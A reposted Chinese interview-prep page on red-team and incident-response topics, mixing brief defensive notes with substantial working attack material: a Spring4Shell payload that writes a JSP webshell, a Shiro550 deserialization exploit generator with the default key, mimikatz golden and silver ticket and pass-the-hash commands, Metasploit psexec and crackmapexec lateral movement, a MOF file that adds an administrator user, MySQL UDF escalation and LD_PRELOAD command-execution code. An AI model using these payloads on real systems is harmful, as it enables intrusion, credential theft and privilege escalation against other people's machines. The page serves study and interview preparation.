栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

护网面试(杂)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

护网面试(杂)

应急响应:

收集信息:收集客户信息和中毒主机信息,包括样本。找到webshell文件,拿到流量日志,第一时间进行可疑ip封堵,关闭可疑连接

判断类型:事件分析,事件造成了哪些影响大概等等。

深入分析:日志分析、进程分析、启动项分析、样本分析,进行详细分析。

清理处置:直接杀掉进程,删除文件,打补丁,查杀定时任务抑或是修复文件。

产出报告:溯源报告整理并输出完整的安全事件报告。

溯源反打:

获取到VPS IP 可以尝试进行反向渗透,whois查询,如果有博客可以尝试社工加好友

获取到用户ID昵称,可以通过论坛,社交平台,搜索引擎进行匹配搜索

基于JSONP跨域,webrtc 获取攻击者的主机信息、浏览器信息、真实 IP及社交信息

等,后进行人肉

蜜罐溯源:mysql蜜罐读取用户的社交账号信息

sqlmap构造恶意

xss反打:构造虚假返回

JAVA内存马:

filtter

servlet

Listern

注入方式:

通过反射或者别的方式获取到ApplicationContext/servletContext/StandardContext类的方法动态加载恶意类 注入filter , standardContext.addFilterMapBefore(o1);//添加一个filtermap到standardContext中,路由匹配规则

filterConfigs.put(FilterName,filterConfig);//把恶意配置加载进配置

servelt需要把standardCtx.addServletMapping("/shell","jweny");//添加ServletMapping将访问的URL和Servlet进行绑定

Java-Agent

Shiro的反序列化是在请求头的Header中的,而注入内存马时用到的payload长度超过了Header的最大长度,需要先通过反序列化修改Header的最大长度再注入内存马。

sql无回显:延时注入banchmark(进行大量运算),sleep(),load_file函数可用。

防御sql:

开启预编译执行SQL的时候,则不会这么处理。会当成一个属性值。什么意思。随便你怎么加,都是一个值。也就是说,如果中间有产生歧义的,都将被处理掉

绕过sqlwaf:参数污染,协议文件格式,大小写,替换关键字,编码,内联注释,等价函数,缓冲区溢出,边界绕过云waf,利用ssrf

不论我们传入的参数是什么都会被赋值给 "?" 被当作一个字符串整体,所以不会产生歧义防止了sql注入

String sql = “insert into t_customer values(?,?,?,?)

EXP:类似爬虫,发送payload,看漏洞返回特征进行检验知否成功

shiro721和550的区别:721的加密方式有缺陷可以被爆破出密钥,其他漏洞利用方式和550一致

最新的漏洞:

spring-cloud-function:

漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。

漏洞是出在SpringCloud Function的RoutingFunction的route方法里,在这⾥判断了请求headers头中有没有spring.cloud.function.routing-expression参数SpringCloud Function会直接将其参数内容直接带入到SPEL中查询,造成SPEL漏洞注入。

可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。

调用链:processRequest方法,程序会判断当前请求是否为RoutingFunction,并将我们提交的请求头和请求体内容编译成Message并且传入FunctionInvocationWrapper的apply方法中->apply方法发现该方法又将参数信息传入doApply方法->routingFunction()下的apply方法->.RoutingFunction的route方法,route方法会判断请求头中有没有spring.cloud.function.routing-expression参数->因为我们有该参数,所以程序进入到this.functionFromExpression()方法->最终由SpelExpressionParser来解析,导致Spel表达式注入。

spring-core

调用链:

springmvc的getPropertyAccessorForPropertyPath(String) 方法通过递归调用自身实现了对

User.getClass()

java.lang.Class.getModule()

java.lang.Module.getClassLoader()

org.apache.catalina.loader.ParallelWebappClassLoader.getResources()

org.apache.catalina.webresources.StandardRoot.getContext()

org.apache.catalina.core.StandardContext.getParent()

org.apache.catalina.core.StandardHost.getPipeline()

org.apache.catalina.core.StandardPipeline.getFirst()

org.apache.catalina.valves.AccessLogValve.setPattern()

设置参数为:

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,
headers = {"suffix":"%>//",

"c1":"Runtime",

"c2":"<%",

"DNT":"1",

"Content-Type":"application/x-www-form-urlencoded"

}
3.1.2 suffix参数
参数名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix 参数值:.jsp
directory参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
参数值:webapps/ROOT
3.1.4 prefix参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
参数值:tomcatwar
3.1.5 fileDateFormat参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat参数值:空
headers = {"suffix":"%>//",

"c1":"Runtime",

"c2":"<%",

"DNT":"1",

"Content-Type":"application/x-www-form-urlencoded"

}

得到:

最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):

<%

if("j".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

while((a=in.read(b))!=-1){

out.println(new String(b));

}

}

%>//
3.1.6 总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

原理:利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”

tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

log4j:

log4j的lookup方法可以动态的解析用户的输入,攻击者可以通过输入恶意的代码达到rce的目的

log4j引入了一个Jndi Lookup lookup的统一接口,然后JNDI就是对lookup接口的实现,同时log4j会尝试解析日志,这个时候在任意地点构造jndi远程加载恶意类 就会被解析并且执行

shiro550无依赖链:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CBAttck {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\Cc\IntelliJ IDEA 2021.1\Code\out\production\Code\ClassLoader\Hacker.class"));
        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
} 


 

其他一些中间件漏洞再说

Kerberos 协议

一阶段:

AS-REQ:

客户端向域控发送包含客户端用户名主机名,加密类型,用户ntml哈希加密的时间戳给域控(客户端访问TGS)

AS-REP:

域控收到客户端数据包。通过活动目录查询客户端用户名的ntml哈希值,解密时间戳,看时间戳是不是五分钟之内的(默认)。一定程度防止重放攻击。验证没问题会从KDC取出票据发放用户的ntml哈希用来加密生成一个session key ,还有ntml哈希生成的时间戳,随机数,PAC等数据包PAC里包含用户SID,用户所在组

二阶段:

TGS-REQ:

客户端收到域控的返回,对返回数据进行解密,拿到login session key 和时间戳那些信息。还有TGT认购凭证存到本地。这个时候就可以拿着这些东西去向TGS申请ST票据。就是服务要访问那个服务的权限。(ST服务是通过DC的一个TGS服务出售的,客户需要拿TGT认购凭证去换。客户端需要访问莫格服务就会凭借TGT认购凭证向DC的TGS购买对应的ST票据)

TGS-REP:

域控接收到申请,先看请求的服务存不存在,存在就从KDC取出krbtgt用户的NTML哈希去解密校验用户信息,正确的话为客户端生成一个要访问服务账号的NTML哈希加密的ST服务票据发送给客户端

三阶段:

AP-REQ:

客户端拿到ST 和log session key 解密获取到server session key.。 然后拿着server session key 和ST 去请求服务器

AP-REP:

服务器用自己的ntml哈希解密ST服务,拿到session key校验客户端认证因素

PAC:

服务器拿着客户端用户的SID信息向域控确认信息,判断该用户有没有权限访问,没问题,就直接和客户端建立连接

PTT:(黄金白银票据)

金票和银票之前的区别:

获取的权限不同

金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限

银票:伪造的 ST,只能访问指定的服务,如 CIFS

认证流程不同

金票:同 KDC 交互,但不同 AS 交互

银票:不同 KDC 交互,直接访问 Server

加密方式不同

金票:由 krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

利用前提:

拿到域控(没错就是拿到域控QAQ),适合做权限维持

有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

条件要求:

域名

域的SID 值

域的KRBTGT账户NTLM密码哈希

伪造用户名

黄金票据:条件:拿下域管权限

这里我们已经假设获得了域管权限,然后我们利用mimikatz导出krbtgt账号信息:

1、获取域名
whoami
net time /domain
ipconfig /all
2、获取SID
whoami /all
3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值
用mimikatz
lsadump::dcsync /domain:zz.com /user:krbtgt /csv
4、伪造管理员用户名
net group "domain admins"
(2)伪造TGT
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden  /admin:administrator  /domain:zz.com  /sid:S-1-5-21-1373374443-4003574425-2823219550  /krbtgt:9f3af6256e86408cb31169871fb36e60  /ptt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">loghash.txt

生成黄金票据

mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit

将票据注入内存:
kerberos::purge #清除票据
kerberos:: ptt 票据 #将票据注入内存

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

白银票据:
拿到目标机器hash(是目标机,不一定是域控)
条件要求:
域名
域sid
目标服务器FQDN
可利用的服务
服务账号的NTML HASH
需要伪造的用户名
服务列表
1)信息收集
1、获取域名
whoami
net time /domain
ipconfig /all
2、获取SID
whoami /all
目标机器的FQDN
net time /domain  
就是hostname+域名 /target:\WIN-75NA0949GFB.NOONE.com
1
2
4、可利用的服务CIFS(磁盘共享的服务)
/service:CIFS	
5、要伪造的用户名

 /user:Administrator
1
6、服务账号的ntlm hash(Primary Username : WIN-75NA0949GFB$带$的hash,不是admin的)
imikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
7、利用文件共享服务cifs,获取服务账号得NTMLhash值(在14068基础上使用mimikatz获取)
注意:服务账号就是域控名$
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
(2)伪造ST
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt

NTML-relay 原理

NTML HASH:

保存了用户密码的hash.windows用户密码被保存在SAM文件里,域的话在NTDS.dit里面

Net-NTML HASH:

Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。

NTLM认证过程

1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。

2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。

3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。

4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

攻击原理

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

攻击者所作的事情其实就是进行中间人攻击,客户端眼里攻击者就是服务器,服务器言论攻击者就是客户端。

获得Net-ntlmhash 思路:

SMB,HTTP,LDAP,MSSQL都带NTLM认证.只要用户尝试进行ntlm认证都有可能被攻击者截获net-ntmlhash.

SMN relay (SMB中继攻击)

MYSQLti提权

补充:也可以利用工具自动化提权,msf、sqlmap --os-shell

MSF:

场景:得到数据库账号密码

MSF:

使用exploit/multi/mysql/mysql_udf_payload模块,设定Rhost、password、username就可以该模块dll包含的函数,
景:得到数据库账号密码、且用户可外连

python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell

python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell

--OS -shell

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

  • 知道网站的物理路径
  • 高权限数据库用户
  • secure_file_priv无限制(load需要参数)
  • 网站路径有写入权限
select1into outfile 'C:/UsersDesktop/php/PHPTutorial/WWW/info.php' lines terminated by'aaa';

MOF提权

条件:MOF提权

Mysql的服务没有降权,并且需要获取Mysql root账号密码

使⽤net user命令查看系统当前帐号,如果出现Mysql这类⽤户,则系统可能进⾏了降权

原理:mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

利用过程:

  1. 将mof上传至任意可读可写目录下,这里我传到D:wamp下命名为:xishaonian.mof。也就是:D:wampxishaonian.mof
  2. 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
  3. 替换的sql语句,使用load_file函数进行操作:select load_file('D:wampxishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
  4. 执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
#pragma namespace("\\.\root\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa "Win32_LocalTime" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

UDF提权:

原理:

UDF=“user defined function” 用户自定义函数

在mysql根目录创建一个udf.dll文件

将程序引入,然后就达到了命令执行的效果

过程:

将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)

从udf文件中引入自定义函数(user defined function)

执行自定义函数

SELECt hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\Users\ka1n4t\Desktop\gg.txt';

1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。

2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容

3. SELECT c FROM udftmp INTO DUMPFILe 'H:\PHPStudy\PHPTutorial\MySQL\lib\plugin\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改

1. DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉

2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数

导入成功的话就可以使用了:

SELECT sys_eval('ipconfig');

PTH psexecpth

原理:

  1. 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
  2. 服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
  3. 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
  4. 服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功
  5. 在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash

问题出在前两部,客户端向服务器发送存储了自己用户名和密码的hash也就是NTLM,这个时候就可以截获得NTML对其他的机器进行碰撞。

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

psexec连接,可以使用先建立ipc,再进行psexec连接,也可以直接使用psexec连接,只不过前者是在IPC连接时,写上密码;后者psexec直接登陆可以使用明文或者hash传递。

use exploit/windows/smb/psexec
set SMBUser administrator
set rhosts 192.168.1.8
set smbpass aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b
exploit
也可以使用
crackmapexec smb 192.168.1.0/24 -u administrator -H 627782b7274e323941c9418399460d5b 批量攻击

mimikatz pth

先进行初始化:

privilege::debug #初始化

1

将hash进行导出:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt #将hash导出到password文档里面

本地登录:

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b4a59c7bdab7afee29d42e90e5a185cb 

假设我们域内有多台主机的密码是一样的,我们通过前期的信息手机已获得了域用户名,那么我们同样可以使用mimikatz来远程登陆:

sekurlsa::pth /user:administrator /domain:192.168.1.8 /ntlm:b4a59c7bdab7afee29d42e90e5a185cb

DIsable_function绕过:

预加载共享对象

在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function

系统通过LD_PRELOAD预先加载对象,如果加载时,就直接进行调用,就不用进行劫持绕过

gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行

__attribute__((__constructor__))

//constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数

以下是 hack.c代码

#include 
#include 
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收传入的命令
system(cmd);//执行命令
}

以下是php代码

.so函数劫持

找一个可以启动新进程的函数,如mail() 会启动新进程/usr/sbin/sendmail ,写一个恶意代码编译为.so文件,把我们的so文件通过putenv()加载进ld_preload ,当我们调用mail函数的时候就会先加载我们的恶意文件。

#include 
#include 
#include 
void payload() {
system("ls");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
gcc hack.c -o hack.so -shared -fPIC

FFI特性命令执行

原理简介
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=true
system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件
转载请注明:文章转载自 www.mshxw.com
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号